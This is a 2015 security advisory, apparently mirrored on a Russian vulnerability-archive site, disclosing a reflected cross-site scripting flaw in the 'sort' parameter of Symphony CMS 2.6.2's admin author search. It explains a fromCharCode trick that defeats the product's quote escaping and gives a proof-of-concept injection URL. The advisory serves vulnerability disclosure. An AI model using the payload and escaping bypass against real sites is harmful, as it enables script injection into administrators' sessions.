Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  XSS vulnerability Adobe Connect 9.3 (CVE-2015-0343 )

  [SYSS-2015-020] ZENWorks Mobile Management - Cross-Site Scripting

  ZCMS SQL Injection & Persistent XSS

  Nakid-CMS CSRF, Persistent XSS & LFI

From:apparitionsec_(at)_gmail.com <apparitionsec_(at)_gmail.com>
Date:14 июня 2015 г.
Subject:Symphony CMS XSS Vulnerability [Corrected Post]



[Correction] of Vendor Info for Symphony CMS XSS Vulnerability POST on (Jun 08)
=============================================

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt



Vendor:
================================
www.getsymphony.com/download/


Product:
================================
Symphony CMS 2.6.2


Advisory Information:
================================================
Symphony CMS XSS Vulnerability



Vulnerability Details:
=====================
The 'sort' parameter used by author search in Admin is XSS exploitable. Symphony seems to escape injected strings
e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript functions charCodeAt() & fromCharCode()

e.g.
String.fromCharCode(72,69,76,76)

Now we can output our 'HELL' strings, construct URLs etc...


Exploit XSS code(s):
====================

http://localhost/symphony-2.6.
2/symphony/system/authors/?sort=</h1><script>alert(String.
fromCharCode(72,69,76,76))</script><h1>&order=asc
 

Disclosure Timeline:
=========================================================


Vendor Notification: June 5, 2015
June 6, : Public Disclosure



Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                               [+]  GET

Vulnerable Product:
                               [+]  Symphony CMS 2.6.2

Vulnerable Parameter(s):
                               [+]  sort

Affected Area(s):
                               [+]  symphony/system/authors/

===============================================================

(hyp3rlinx)

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород